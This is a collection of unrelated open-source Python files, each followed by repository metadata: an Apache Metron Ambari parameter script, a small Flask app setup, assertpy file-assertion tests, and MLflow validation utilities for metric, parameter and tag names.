global_properties_template = config['configurations']['metron-env']['elasticsearch-properties']
# Elasticsearch hosts and port management
es_cluster_name = config['configurations']['metron-env']['es_cluster_name']
es_hosts = config['configurations']['metron-env']['es_hosts']
es_host_list = es_hosts.split(",")
es_binary_port = config['configurations']['metron-env']['es_binary_port']
es_url = ",".join([host + ":" + es_binary_port for host in es_host_list])
es_http_port = config['configurations']['metron-env']['es_http_port']
es_http_url = es_host_list[0] + ":" + es_http_port
es_date_format = config['configurations']['metron-env']['es_date_format']
# hadoop params
stack_root = Script.get_stack_root()
# This is the cluster group named 'hadoop'. Its membership is the stack process user ids not individual users.
# The config name 'user_group' is out of our control and a bit misleading, so it is renamed to 'hadoop_group'.
hadoop_group = config['configurations']['cluster-env']['user_group']
hadoop_home_dir = stack_select.get_hadoop_dir("home")
hadoop_bin_dir = stack_select.get_hadoop_dir("bin")
hadoop_conf_dir = conf_select.get_hadoop_conf_dir()
kafka_home = os.path.join(stack_root, "current", "kafka-broker")
kafka_bin_dir = os.path.join(kafka_home, "bin")
# zookeeper
zk_hosts = default("/clusterHostInfo/zookeeper_hosts", [])
has_zk_host = not len(zk_hosts) == 0
zookeeper_quorum = None
if has_zk_host:
if 'zoo.cfg' in config['configurations'] and 'clientPort' in config['configurations']['zoo.cfg']:
zookeeper_clientPort = config['configurations']['zoo.cfg']['clientPort']
else:
zookeeper_clientPort = '2181'
zookeeper_quorum = (':' + zookeeper_clientPort + ',').join(config['clusterHostInfo']['zookeeper_hosts'])
# last port config
zookeeper_quorum += ':' + zookeeper_clientPort
# Storm
storm_rest_addr = status_params.storm_rest_addr
# Zeppelin
zeppelin_server_url = status_params.zeppelin_server_url
# Kafka
kafka_hosts = default("/clusterHostInfo/kafka_broker_hosts", [])
has_kafka_host = not len(kafka_hosts) == 0
kafka_brokers = None
if has_kafka_host:
if 'port' in config['configurations']['kafka-broker']:
kafka_broker_port = config['configurations']['kafka-broker']['port']
else:
kafka_broker_port = '6667'
kafka_brokers = (':' + kafka_broker_port + ',').join(config['clusterHostInfo']['kafka_broker_hosts'])
kafka_brokers += ':' + kafka_broker_port
metron_apps_hdfs_dir = config['configurations']['metron-env']['metron_apps_hdfs_dir']
# the double "format" is not an error - we are pulling in a jinja-templated param. This is a bit of a hack, but works
# well enough until we find a better way via Ambari
metron_temp_grok_path = format(format(config['configurations']['metron-rest-env']['metron_temp_grok_path']))
metron_topic_retention = config['configurations']['metron-env']['metron_topic_retention']
local_grok_patterns_dir = format("{metron_home}/patterns")
hdfs_grok_patterns_dir = format("{metron_apps_hdfs_dir}/patterns")
# for create_hdfs_directory
security_enabled = config['configurations']['cluster-env']['security_enabled']
hdfs_user_keytab = config['configurations']['hadoop-env']['hdfs_user_keytab']
hdfs_user = config['configurations']['hadoop-env']['hdfs_user']
hdfs_principal_name = config['configurations']['hadoop-env']['hdfs_principal_name']
smokeuser_principal = config['configurations']['cluster-env']['smokeuser_principal_name']
kinit_path_local = get_kinit_path(default('/configurations/kerberos-env/executable_search_paths', None))
hdfs_site = config['configurations']['hdfs-site']
default_fs = config['configurations']['core-site']['fs.defaultFS']
dfs_type = default("/commandParams/dfs_type", "")
# create partial functions with common arguments for every HdfsResource call
# to create/delete hdfs directory/file/copyfromlocal we need to call params.HdfsResource in code
HdfsResource = functools.partial(
HdfsResource,
user=hdfs_user,
hdfs_resource_ignore_file="/var/lib/ambari-agent/data/.hdfs_resource_ignore",
security_enabled=security_enabled,
keytab=hdfs_user_keytab,
kinit_path_local=kinit_path_local,
hadoop_bin_dir=hadoop_bin_dir,
hadoop_conf_dir=hadoop_conf_dir,
principal_name=hdfs_principal_name,
hdfs_site=hdfs_site,
default_fs=default_fs,
immutable_paths=get_not_managed_resources(),
dfs_type=dfs_type
)
# Metron HBase configuration
enrichment_hbase_provider_impl = 'org.apache.metron.hbase.HTableProvider'
enrichment_hbase_table = status_params.enrichment_hbase_table
enrichment_hbase_cf = status_params.enrichment_hbase_cf
update_hbase_table = status_params.update_hbase_table
update_hbase_cf = status_params.update_hbase_cf
threatintel_hbase_table = status_params.threatintel_hbase_table
threatintel_hbase_cf = status_params.threatintel_hbase_cf
# Kafka Topics
ambari_kafka_service_check_topic = 'ambari_kafka_service_check'
consumer_offsets_topic = '__consumer_offsets'
# ES Templates
bro_index_path = tmp_dir + "/bro_index.template"
snort_index_path = tmp_dir + "/snort_index.template"
yaf_index_path = tmp_dir + "/yaf_index.template"
error_index_path = tmp_dir + "/error_index.template"
meta_index_path = tmp_dir + "/metaalert_index.template"
# Zeppelin Notebooks
metron_config_zeppelin_path = format("{metron_config_path}/zeppelin")
# kafka_security
kafka_security_protocol = config['configurations']['kafka-broker'].get('security.inter.broker.protocol', 'PLAINTEXT')
kafka_user = config['configurations']['kafka-env']['kafka_user']
storm_user = config['configurations']['storm-env']['storm_user']
# HBase user table creation and ACLs
hbase_user = config['configurations']['hbase-env']['hbase_user']
# Security
security_enabled = status_params.security_enabled
client_jaas_path = metron_home + '/client_jaas.conf'
client_jaas_arg = '-Djava.security.auth.login.config=' + metron_home + '/client_jaas.conf'
enrichment_topology_worker_childopts = client_jaas_arg if security_enabled else ''
profiler_topology_worker_childopts = client_jaas_arg if security_enabled else ''
indexing_topology_worker_childopts = client_jaas_arg if security_enabled else ''
metron_jvm_flags += (' ' + client_jaas_arg) if security_enabled else ''
topology_auto_credentials = config['configurations']['storm-site'].get('nimbus.credential.renewers.classes', [])
# Needed for storm.config, because it needs Java String
topology_auto_credentials_double_quotes = str(topology_auto_credentials).replace("'", '"')
if security_enabled:
hostname_lowercase = config['hostname'].lower()
metron_principal_name = status_params.metron_principal_name
metron_keytab_path = status_params.metron_keytab_path
kinit_path_local = status_params.kinit_path_local
hbase_principal_name = config['configurations']['hbase-env']['hbase_principal_name']
hbase_keytab_path = config['configurations']['hbase-env']['hbase_user_keytab']
kafka_principal_raw = config['configurations']['kafka-env']['kafka_principal_name']
kafka_principal_name = kafka_principal_raw.replace('_HOST', hostname_lowercase)
kafka_keytab_path = config['configurations']['kafka-env']['kafka_keytab']
nimbus_seeds = config['configurations']['storm-site']['nimbus.seeds']
# Management UI
metron_rest_host = default("/clusterHostInfo/metron_rest_hosts", [hostname])[0]
# REST
metron_rest_pid_dir = config['configurations']['metron-rest-env']['metron_rest_pid_dir']
metron_rest_pid = 'metron-rest.pid'
metron_indexing_classpath = config['configurations']['metron-rest-env']['metron_indexing_classpath']
metron_rest_classpath = config['configurations']['metron-rest-env']['metron_rest_classpath']
metron_sysconfig = config['configurations']['metron-rest-env']['metron_sysconfig']
# Enrichment
geoip_url = config['configurations']['metron-enrichment-env']['geoip_url']
enrichment_host_known_hosts = config['configurations']['metron-enrichment-env']['enrichment_host_known_hosts']
enrichment_kafka_start = config['configurations']['metron-enrichment-env']['enrichment_kafka_start']
enrichment_input_topic = status_params.enrichment_input_topic
enrichment_output_topic = config['configurations']['metron-enrichment-env']['enrichment_output_topic']
enrichment_error_topic = config['configurations']['metron-enrichment-env']['enrichment_error_topic']
threatintel_error_topic = config['configurations']['metron-enrichment-env']['threatintel_error_topic']
metron_enrichment_topology = status_params.metron_enrichment_topology
enrichment_workers = config['configurations']['metron-enrichment-env']['enrichment_workers']
enrichment_acker_executors = config['configurations']['metron-enrichment-env']['enrichment_acker_executors']
if not len(enrichment_topology_worker_childopts) == 0:
enrichment_topology_worker_childopts += ' '
enrichment_topology_worker_childopts += config['configurations']['metron-enrichment-env']['enrichment_topology_worker_childopts']
enrichment_topology_max_spout_pending = config['configurations']['metron-enrichment-env']['enrichment_topology_max_spout_pending']
enrichment_join_cache_size = config['configurations']['metron-enrichment-env']['enrichment_join_cache_size']
threatintel_join_cache_size = config['configurations']['metron-enrichment-env']['threatintel_join_cache_size']
enrichment_kafka_spout_parallelism = config['configurations']['metron-enrichment-env']['enrichment_kafka_spout_parallelism']
enrichment_split_parallelism = config['configurations']['metron-enrichment-env']['enrichment_split_parallelism']
enrichment_stellar_parallelism = config['configurations']['metron-enrichment-env']['enrichment_stellar_parallelism']
enrichment_join_parallelism = config['configurations']['metron-enrichment-env']['enrichment_join_parallelism']
threat_intel_split_parallelism = config['configurations']['metron-enrichment-env']['threat_intel_split_parallelism']
threat_intel_stellar_parallelism = config['configurations']['metron-enrichment-env']['threat_intel_stellar_parallelism']
threat_intel_join_parallelism = config['configurations']['metron-enrichment-env']['threat_intel_join_parallelism']
kafka_writer_parallelism = config['configurations']['metron-enrichment-env']['kafka_writer_parallelism']
# Profiler
metron_profiler_topology = 'profiler'
profiler_input_topic = config['configurations']['metron-enrichment-env']['enrichment_output_topic']
profiler_kafka_start = config['configurations']['metron-profiler-env']['profiler_kafka_start']
profiler_period_duration = config['configurations']['metron-profiler-env']['profiler_period_duration']
profiler_period_units = config['configurations']['metron-profiler-env']['profiler_period_units']
profiler_ttl = config['configurations']['metron-profiler-env']['profiler_ttl']
profiler_ttl_units = config['configurations']['metron-profiler-env']['profiler_ttl_units']
profiler_hbase_batch = config['configurations']['metron-profiler-env']['profiler_hbase_batch']
profiler_hbase_flush_interval = config['configurations']['metron-profiler-env']['profiler_hbase_flush_interval']
profiler_topology_workers = config['configurations']['metron-profiler-env']['profiler_topology_workers']
profiler_acker_executors = config['configurations']['metron-profiler-env']['profiler_acker_executors']
profiler_hbase_table = config['configurations']['metron-profiler-env']['profiler_hbase_table']
profiler_hbase_cf = config['configurations']['metron-profiler-env']['profiler_hbase_cf']
profiler_configured_flag_file = status_params.profiler_configured_flag_file
profiler_acl_configured_flag_file = status_params.profiler_acl_configured_flag_file
profiler_hbase_configured_flag_file = status_params.profiler_hbase_configured_flag_file
profiler_hbase_acl_configured_flag_file = status_params.profiler_hbase_acl_configured_flag_file
if not len(profiler_topology_worker_childopts) == 0:
profiler_topology_worker_childopts += ' '
profiler_topology_worker_childopts += config['configurations']['metron-profiler-env']['profiler_topology_worker_childopts']
# Indexing
indexing_kafka_start = config['configurations']['metron-indexing-env']['indexing_kafka_start']
indexing_input_topic = status_params.indexing_input_topic
indexing_error_topic = config['configurations']['metron-indexing-env']['indexing_error_topic']
metron_indexing_topology = status_params.metron_indexing_topology
indexing_writer_class_name = config['configurations']['metron-indexing-env']['indexing_writer_class_name']
indexing_workers = config['configurations']['metron-indexing-env']['indexing_workers']
indexing_acker_executors = config['configurations']['metron-indexing-env']['indexing_acker_executors']
if not len(indexing_topology_worker_childopts) == 0:
indexing_topology_worker_childopts += ' '
indexing_topology_worker_childopts += config['configurations']['metron-indexing-env']['indexing_topology_worker_childopts']
indexing_topology_max_spout_pending = config['configurations']['metron-indexing-env']['indexing_topology_max_spout_pending']
indexing_kafka_spout_parallelism = config['configurations']['metron-indexing-env']['indexing_kafka_spout_parallelism']
indexing_writer_parallelism = config['configurations']['metron-indexing-env']['indexing_writer_parallelism']
hdfs_writer_parallelism = config['configurations']['metron-indexing-env']['hdfs_writer_parallelism']
# the double "format" is not an error - we are pulling in a jinja-templated param. This is a bit of a hack, but works
# well enough until we find a better way via Ambari
metron_apps_indexed_hdfs_dir = format(format(config['configurations']['metron-indexing-env']['metron_apps_indexed_hdfs_dir']))
bolt_hdfs_rotation_policy = config['configurations']['metron-indexing-env']['bolt_hdfs_rotation_policy']
bolt_hdfs_rotation_policy_units = config['configurations']['metron-indexing-env']['bolt_hdfs_rotation_policy_units']
bolt_hdfs_rotation_policy_count = config['configurations']['metron-indexing-env']['bolt_hdfs_rotation_policy_count']
| {
"content_hash": "b3708f48dcc1088a895f3b6054f6da4d",
"timestamp": "",
"source": "github",
"line_count": 321,
"max_line_length": 130,
"avg_line_length": 58.90342679127726,
"alnum_prop": 0.7690924476412101,
"repo_name": "mattf-horton/metron",
"id": "de53e38c15c57a5b94e3733aae6c22538784120c",
"size": "18930",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "metron-deployment/packaging/ambari/metron-mpack/src/main/resources/common-services/METRON/CURRENT/package/scripts/params/params_linux.py",
"mode": "33261",
"license": "apache-2.0",
"language": [
{
"name": "ANTLR",
"bytes": "12811"
},
{
"name": "C",
"bytes": "49573"
},
{
"name": "CSS",
"bytes": "763669"
},
{
"name": "HTML",
"bytes": "1788682"
},
{
"name": "Java",
"bytes": "5520754"
},
{
"name": "JavaScript",
"bytes": "172067"
},
{
"name": "Makefile",
"bytes": "2579"
},
{
"name": "Python",
"bytes": "269546"
},
{
"name": "Ruby",
"bytes": "19141"
},
{
"name": "Scala",
"bytes": "2700"
},
{
"name": "Shell",
"bytes": "161784"
},
{
"name": "TypeScript",
"bytes": "933459"
}
],
"symlink_target": ""
} |
from flask import Flask
from flask_turboduck.db import Database
app= Flask(__name__)
app.config.from_object('config.Configuration')
db = Database(app)
def create_tables():
User.create_table()
Movie.create_table()
Person.create_table()
Cast.create_table() | {
"content_hash": "87b64eddba41915efe5756797c657d9c",
"timestamp": "",
"source": "github",
"line_count": 13,
"max_line_length": 46,
"avg_line_length": 21,
"alnum_prop": 0.7142857142857143,
"repo_name": "dommert/DangerZone",
"id": "e1fb96ea8eee1a1ba85a257ba8337f590ae4734d",
"size": "310",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "dangerzone/app.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "2607"
},
{
"name": "JavaScript",
"bytes": "359415"
},
{
"name": "Python",
"bytes": "169098"
}
],
"symlink_target": ""
} |
import sys
import os
import tempfile
from assertpy import assert_that,contents_of,fail
class TestFile(object):
def setup(self):
self.tmp = tempfile.NamedTemporaryFile()
self.tmp.write('foobar'.encode('utf-8'))
self.tmp.seek(0)
def teardown(self):
self.tmp.close()
def test_contents_of_path(self):
contents = contents_of(self.tmp.name)
assert_that(contents).is_equal_to('foobar').starts_with('foo').ends_with('bar')
def test_contents_of_path_ascii(self):
contents = contents_of(self.tmp.name, 'ascii')
assert_that(contents).is_equal_to('foobar').starts_with('foo').ends_with('bar')
def test_contents_of_return_type(self):
if sys.version_info[0] == 3:
contents = contents_of(self.tmp.name)
assert_that(contents).is_type_of(str)
else:
contents = contents_of(self.tmp.name)
assert_that(contents).is_type_of(unicode)
def test_contents_of_return_type_ascii(self):
if sys.version_info[0] == 3:
contents = contents_of(self.tmp.name, 'ascii')
assert_that(contents).is_type_of(str)
else:
contents = contents_of(self.tmp.name, 'ascii')
assert_that(contents).is_type_of(str)
def test_contents_of_file(self):
contents = contents_of(self.tmp.file)
assert_that(contents).is_equal_to('foobar').starts_with('foo').ends_with('bar')
def test_contents_of_file_ascii(self):
contents = contents_of(self.tmp.file, 'ascii')
assert_that(contents).is_equal_to('foobar').starts_with('foo').ends_with('bar')
def test_contains_of_bad_type_failure(self):
try:
contents_of(123)
fail('should have raised error')
except ValueError as ex:
assert_that(str(ex)).is_equal_to('val must be file or path, but was type <int>')
def test_contains_of_missing_file_failure(self):
try:
contents_of('missing.txt')
fail('should have raised error')
except IOError as ex:
assert_that(str(ex)).contains_ignoring_case('no such file')
def test_exists(self):
assert_that(self.tmp.name).exists()
def test_exists_failure(self):
try:
assert_that('missing.txt').exists()
fail('should have raised error')
except AssertionError as ex:
assert_that(str(ex)).is_equal_to('Expected <missing.txt> to exist, but not found.')
def test_exists_bad_val_failure(self):
try:
assert_that(123).exists()
fail('should have raised error')
except TypeError as ex:
assert_that(str(ex)).is_equal_to('val is not a path')
def test_is_file(self):
assert_that(self.tmp.name).is_file()
def test_is_file_exists_failure(self):
try:
assert_that('missing.txt').is_file()
fail('should have raised error')
except AssertionError as ex:
assert_that(str(ex)).is_equal_to('Expected <missing.txt> to exist, but not found.')
def test_is_file_directory_failure(self):
try:
dirname = os.path.dirname(self.tmp.name)
assert_that(dirname).is_file()
fail('should have raised error')
except AssertionError as ex:
assert_that(str(ex)).matches('Expected <.*> to be a file, but was not.')
def test_is_directory(self):
dirname = os.path.dirname(self.tmp.name)
assert_that(dirname).is_directory()
def test_is_directory_exists_failure(self):
try:
assert_that('missing_dir').is_directory()
fail('should have raised error')
except AssertionError as ex:
assert_that(str(ex)).is_equal_to('Expected <missing_dir> to exist, but not found.')
def test_is_directory_file_failure(self):
try:
assert_that(self.tmp.name).is_directory()
fail('should have raised error')
except AssertionError as ex:
assert_that(str(ex)).matches('Expected <.*> to be a directory, but was not.')
def test_is_named(self):
basename = os.path.basename(self.tmp.name)
assert_that(self.tmp.name).is_named(basename)
def test_is_named_failure(self):
try:
assert_that(self.tmp.name).is_named('foo.txt')
fail('should have raised error')
except AssertionError as ex:
assert_that(str(ex)).matches('Expected filename <.*> to be equal to <foo.txt>, but was not.')
def test_is_named_bad_arg_type_failure(self):
try:
assert_that(self.tmp.name).is_named(123)
fail('should have raised error')
except TypeError as ex:
assert_that(str(ex)).matches('given filename arg must be a path')
def test_is_child_of(self):
dirname = os.path.dirname(self.tmp.name)
assert_that(self.tmp.name).is_child_of(dirname)
def test_is_child_of_failure(self):
try:
assert_that(self.tmp.name).is_child_of('foo_dir')
fail('should have raised error')
except AssertionError as ex:
assert_that(str(ex)).matches('Expected file <.*> to be a child of <.*/foo_dir>, but was not.')
def test_is_child_of_bad_arg_type_failure(self):
try:
assert_that(self.tmp.name).is_child_of(123)
fail('should have raised error')
except TypeError as ex:
assert_that(str(ex)).matches('given parent directory arg must be a path')
| {
"content_hash": "b42d19d9317caf148e3de59ff97f4da4",
"timestamp": "",
"source": "github",
"line_count": 149,
"max_line_length": 106,
"avg_line_length": 37.369127516778526,
"alnum_prop": 0.6023706896551724,
"repo_name": "wuan/assertpy",
"id": "4b217e154d065334f5e84eeff34bf67f3655d7d4",
"size": "7116",
"binary": false,
"copies": "2",
"ref": "refs/heads/scalable_comparison",
"path": "tests/test_file.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "Python",
"bytes": "166699"
}
],
"symlink_target": ""
} |
"""
Utilities for validating user inputs such as metric names and parameter names.
"""
import numbers
import posixpath
import re
from mlflow.exceptions import MlflowException
from mlflow.protos.databricks_pb2 import INVALID_PARAMETER_VALUE
from mlflow.store.db.db_types import DATABASE_ENGINES
from mlflow.utils.string_utils import is_string_type
# Regex for valid param and metric names: may only contain slashes, alphanumerics,
# underscores, periods, dashes, and spaces.
_VALID_PARAM_AND_METRIC_NAMES = re.compile(r"^[/\w.\- ]*$")
# Regex for valid run IDs: must be an alphanumeric string of length 1 to 256.
_RUN_ID_REGEX = re.compile(r"^[a-zA-Z0-9][\w\-]{0,255}$")
# Regex: starting with an alphanumeric, optionally followed by up to 63 characters
# including alphanumerics, underscores, or dashes.
_EXPERIMENT_ID_REGEX = re.compile(r"^[a-zA-Z0-9][\w\-]{0,63}$")
_BAD_CHARACTERS_MESSAGE = (
"Names may only contain alphanumerics, underscores (_), dashes (-), periods (.),"
" spaces ( ), and slashes (/)."
)
_MISSING_KEY_NAME_MESSAGE = "A key name must be provided."
MAX_PARAMS_TAGS_PER_BATCH = 100
MAX_METRICS_PER_BATCH = 1000
MAX_ENTITIES_PER_BATCH = 1000
MAX_BATCH_LOG_REQUEST_SIZE = int(1e6)
MAX_PARAM_VAL_LENGTH = 500
MAX_TAG_VAL_LENGTH = 5000
MAX_EXPERIMENT_TAG_KEY_LENGTH = 250
MAX_EXPERIMENT_TAG_VAL_LENGTH = 5000
MAX_ENTITY_KEY_LENGTH = 250
MAX_MODEL_REGISTRY_TAG_KEY_LENGTH = 250
MAX_MODEL_REGISTRY_TAG_VALUE_LENGTH = 5000
MAX_EXPERIMENTS_LISTED_PER_PAGE = 50000
_UNSUPPORTED_DB_TYPE_MSG = "Supported database engines are {%s}" % ", ".join(DATABASE_ENGINES)
PARAM_VALIDATION_MSG = """
The cause of this error is typically due to repeated calls
to an individual run_id event logging.
Incorrect Example:
---------------------------------------
with mlflow.start_run():
mlflow.log_param("depth", 3)
mlflow.log_param("depth", 5)
---------------------------------------
Which will throw an MlflowException for overwriting a
logged parameter.
Correct Example:
---------------------------------------
with mlflow.start_run():
with mlflow.start_run(nested=True):
mlflow.log_param("depth", 3)
with mlflow.start_run(nested=True):
mlflow.log_param("depth", 5)
---------------------------------------
Which will create a new nested run for each individual
model and prevent parameter key collisions within the
tracking store."""
def bad_path_message(name):
return (
"Names may be treated as files in certain cases, and must not resolve to other names"
" when treated as such. This name would resolve to '%s'"
) % posixpath.normpath(name)
def path_not_unique(name):
norm = posixpath.normpath(name)
return norm != name or norm == "." or norm.startswith("..") or norm.startswith("/")
def _validate_metric_name(name):
"""Check that `name` is a valid metric name and raise an exception if it isn't."""
if name is None:
raise MlflowException(
f"Metric name cannot be None. {_MISSING_KEY_NAME_MESSAGE}",
error_code=INVALID_PARAMETER_VALUE,
)
if not _VALID_PARAM_AND_METRIC_NAMES.match(name):
raise MlflowException(
"Invalid metric name: '%s'. %s" % (name, _BAD_CHARACTERS_MESSAGE),
INVALID_PARAMETER_VALUE,
)
if path_not_unique(name):
raise MlflowException(
"Invalid metric name: '%s'. %s" % (name, bad_path_message(name)),
INVALID_PARAMETER_VALUE,
)
def _is_numeric(value):
"""
Returns True if the passed-in value is numeric.
"""
# Note that `isinstance(bool_value, numbers.Number)` returns `True` because `bool` is a
# subclass of `int`.
return not isinstance(value, bool) and isinstance(value, numbers.Number)
def _validate_metric(key, value, timestamp, step):
"""
Check that a metric with the specified key, value, timestamp, and step is valid and raise an
exception if it isn't.
"""
_validate_metric_name(key)
# value must be a Number
# since bool is an instance of Number check for bool additionally
if not _is_numeric(value):
raise MlflowException(
"Got invalid value %s for metric '%s' (timestamp=%s). Please specify value as a valid "
"double (64-bit floating point)" % (value, key, timestamp),
INVALID_PARAMETER_VALUE,
)
if not isinstance(timestamp, numbers.Number) or timestamp < 0:
raise MlflowException(
"Got invalid timestamp %s for metric '%s' (value=%s). Timestamp must be a nonnegative "
"long (64-bit integer) " % (timestamp, key, value),
INVALID_PARAMETER_VALUE,
)
if not isinstance(step, numbers.Number):
raise MlflowException(
"Got invalid step %s for metric '%s' (value=%s). Step must be a valid long "
"(64-bit integer)." % (step, key, value),
INVALID_PARAMETER_VALUE,
)
def _validate_param(key, value):
"""
Check that a param with the specified key & value is valid and raise an exception if it
isn't.
"""
_validate_param_name(key)
_validate_length_limit("Param key", MAX_ENTITY_KEY_LENGTH, key)
_validate_length_limit("Param value", MAX_PARAM_VAL_LENGTH, value)
def _validate_tag(key, value):
"""
Check that a tag with the specified key & value is valid and raise an exception if it isn't.
"""
_validate_tag_name(key)
_validate_length_limit("Tag key", MAX_ENTITY_KEY_LENGTH, key)
_validate_length_limit("Tag value", MAX_TAG_VAL_LENGTH, value)
def _validate_experiment_tag(key, value):
"""
Check that a tag with the specified key & value is valid and raise an exception if it isn't.
"""
_validate_tag_name(key)
_validate_length_limit("Tag key", MAX_EXPERIMENT_TAG_KEY_LENGTH, key)
_validate_length_limit("Tag value", MAX_EXPERIMENT_TAG_VAL_LENGTH, value)
def _validate_registered_model_tag(key, value):
"""
Check that a tag with the specified key & value is valid and raise an exception if it isn't.
"""
_validate_tag_name(key)
_validate_length_limit("Registered model key", MAX_MODEL_REGISTRY_TAG_KEY_LENGTH, key)
_validate_length_limit("Registered model value", MAX_MODEL_REGISTRY_TAG_VALUE_LENGTH, value)
def _validate_model_version_tag(key, value):
"""
Check that a tag with the specified key & value is valid and raise an exception if it isn't.
"""
_validate_tag_name(key)
_validate_tag_value(value)
_validate_length_limit("Model version key", MAX_MODEL_REGISTRY_TAG_KEY_LENGTH, key)
_validate_length_limit("Model version value", MAX_MODEL_REGISTRY_TAG_VALUE_LENGTH, value)
def _validate_param_keys_unique(params):
"""Ensures that duplicate param keys are not present in the `log_batch()` params argument"""
unique_keys = []
dupe_keys = []
for param in params:
if param.key not in unique_keys:
unique_keys.append(param.key)
else:
dupe_keys.append(param.key)
if dupe_keys:
raise MlflowException(
f"Duplicate parameter keys have been submitted: {dupe_keys}. Please ensure "
"the request contains only one param value per param key.",
INVALID_PARAMETER_VALUE,
)
def _validate_param_name(name):
"""Check that `name` is a valid parameter name and raise an exception if it isn't."""
if name is None:
raise MlflowException(
f"Parameter name cannot be None. {_MISSING_KEY_NAME_MESSAGE}",
error_code=INVALID_PARAMETER_VALUE,
)
if not _VALID_PARAM_AND_METRIC_NAMES.match(name):
raise MlflowException(
"Invalid parameter name: '%s'. %s" % (name, _BAD_CHARACTERS_MESSAGE),
INVALID_PARAMETER_VALUE,
)
if path_not_unique(name):
raise MlflowException(
"Invalid parameter name: '%s'. %s" % (name, bad_path_message(name)),
INVALID_PARAMETER_VALUE,
)
def _validate_tag_name(name):
"""Check that `name` is a valid tag name and raise an exception if it isn't."""
# Reuse param & metric check.
if name is None:
raise MlflowException(
f"Tag name cannot be None. {_MISSING_KEY_NAME_MESSAGE}",
error_code=INVALID_PARAMETER_VALUE,
)
if not _VALID_PARAM_AND_METRIC_NAMES.match(name):
raise MlflowException(
"Invalid tag name: '%s'. %s" % (name, _BAD_CHARACTERS_MESSAGE), INVALID_PARAMETER_VALUE
)
if path_not_unique(name):
raise MlflowException(
"Invalid tag name: '%s'. %s" % (name, bad_path_message(name)), INVALID_PARAMETER_VALUE
)
def _validate_length_limit(entity_name, limit, value):
if value is not None and len(value) > limit:
raise MlflowException(
"%s '%s' had length %s, which exceeded length limit of %s"
% (entity_name, value[:250], len(value), limit),
error_code=INVALID_PARAMETER_VALUE,
)
def _validate_run_id(run_id):
"""Check that `run_id` is a valid run ID and raise an exception if it isn't."""
if _RUN_ID_REGEX.match(run_id) is None:
raise MlflowException("Invalid run ID: '%s'" % run_id, error_code=INVALID_PARAMETER_VALUE)
def _validate_experiment_id(exp_id):
"""Check that `experiment_id`is a valid string or None, raise an exception if it isn't."""
if exp_id is not None and _EXPERIMENT_ID_REGEX.match(exp_id) is None:
raise MlflowException(
"Invalid experiment ID: '%s'" % exp_id, error_code=INVALID_PARAMETER_VALUE
)
def _validate_batch_limit(entity_name, limit, length):
if length > limit:
error_msg = (
"A batch logging request can contain at most {limit} {name}. "
"Got {count} {name}. Please split up {name} across multiple requests and try "
"again."
).format(name=entity_name, count=length, limit=limit)
raise MlflowException(error_msg, error_code=INVALID_PARAMETER_VALUE)
def _validate_batch_log_limits(metrics, params, tags):
"""Validate that the provided batched logging arguments are within expected limits."""
_validate_batch_limit(entity_name="metrics", limit=MAX_METRICS_PER_BATCH, length=len(metrics))
_validate_batch_limit(entity_name="params", limit=MAX_PARAMS_TAGS_PER_BATCH, length=len(params))
_validate_batch_limit(entity_name="tags", limit=MAX_PARAMS_TAGS_PER_BATCH, length=len(tags))
total_length = len(metrics) + len(params) + len(tags)
_validate_batch_limit(
entity_name="metrics, params, and tags", limit=MAX_ENTITIES_PER_BATCH, length=total_length
)
def _validate_batch_log_data(metrics, params, tags):
for metric in metrics:
_validate_metric(metric.key, metric.value, metric.timestamp, metric.step)
# TODO: move _validate_length_limit calls into _validate_metric etc. This would be a
# breaking change as _validate_metric is also used in the single-entry log_metric API. Thus
# we defer it for now to allow for a release of the batched logging APIs without breaking
# changes to other APIs. See related discussion in
# https://github.com/mlflow/mlflow/issues/985
_validate_length_limit("Metric name", MAX_ENTITY_KEY_LENGTH, metric.key)
for param in params:
_validate_param(param.key, param.value)
for tag in tags:
_validate_tag(tag.key, tag.value)
def _validate_batch_log_api_req(json_req):
if len(json_req) > MAX_BATCH_LOG_REQUEST_SIZE:
error_msg = (
"Batched logging API requests must be at most {limit} bytes, got a "
"request of size {size}."
).format(limit=MAX_BATCH_LOG_REQUEST_SIZE, size=len(json_req))
raise MlflowException(error_msg, error_code=INVALID_PARAMETER_VALUE)
def _validate_experiment_name(experiment_name):
"""Check that `experiment_name` is a valid string and raise an exception if it isn't."""
if experiment_name == "" or experiment_name is None:
raise MlflowException(
"Invalid experiment name: '%s'" % experiment_name, error_code=INVALID_PARAMETER_VALUE
)
if not is_string_type(experiment_name):
raise MlflowException(
"Invalid experiment name: %s. Expects a string." % experiment_name,
error_code=INVALID_PARAMETER_VALUE,
)
def _validate_experiment_id_type(experiment_id):
"""
Check that a user-provided experiment_id is either a string, int, or None and raise an
exception if it isn't.
"""
if experiment_id is not None and not isinstance(experiment_id, (str, int)):
raise MlflowException(
f"Invalid experiment id: {experiment_id} of type {type(experiment_id)}. "
"Must be one of str, int, or None.",
error_code=INVALID_PARAMETER_VALUE,
)
def _validate_model_name(model_name):
if model_name is None or model_name == "":
raise MlflowException("Registered model name cannot be empty.", INVALID_PARAMETER_VALUE)
def _validate_model_version(model_version):
try:
model_version = int(model_version)
except ValueError:
raise MlflowException(
"Model version must be an integer, got '{}'".format(model_version),
error_code=INVALID_PARAMETER_VALUE,
)
def _validate_experiment_artifact_location(artifact_location):
if artifact_location is not None and artifact_location.startswith("runs:"):
raise MlflowException(
"Artifact location cannot be a runs:/ URI. Given: '%s'" % artifact_location,
error_code=INVALID_PARAMETER_VALUE,
)
def _validate_db_type_string(db_type):
"""validates db_type parsed from DB URI is supported"""
if db_type not in DATABASE_ENGINES:
error_msg = "Invalid database engine: '%s'. '%s'" % (db_type, _UNSUPPORTED_DB_TYPE_MSG)
raise MlflowException(error_msg, INVALID_PARAMETER_VALUE)
def _validate_model_version_or_stage_exists(version, stage):
if version and stage:
raise MlflowException("version and stage cannot be set together", INVALID_PARAMETER_VALUE)
if not (version or stage):
raise MlflowException("version or stage must be set", INVALID_PARAMETER_VALUE)
def _validate_tag_value(value):
if value is None:
raise MlflowException("Tag value cannot be None", INVALID_PARAMETER_VALUE)
| {
"content_hash": "e62090f3302137ec845994cdb6e6d3e0",
"timestamp": "",
"source": "github",
"line_count": 382,
"max_line_length": 100,
"avg_line_length": 37.79842931937173,
"alnum_prop": 0.653023062538957,
"repo_name": "mlflow/mlflow",
"id": "c1d8ffc5138de8c35e53b1ef89dcb78fd6341628",
"size": "14439",
"binary": false,
"copies": "1",
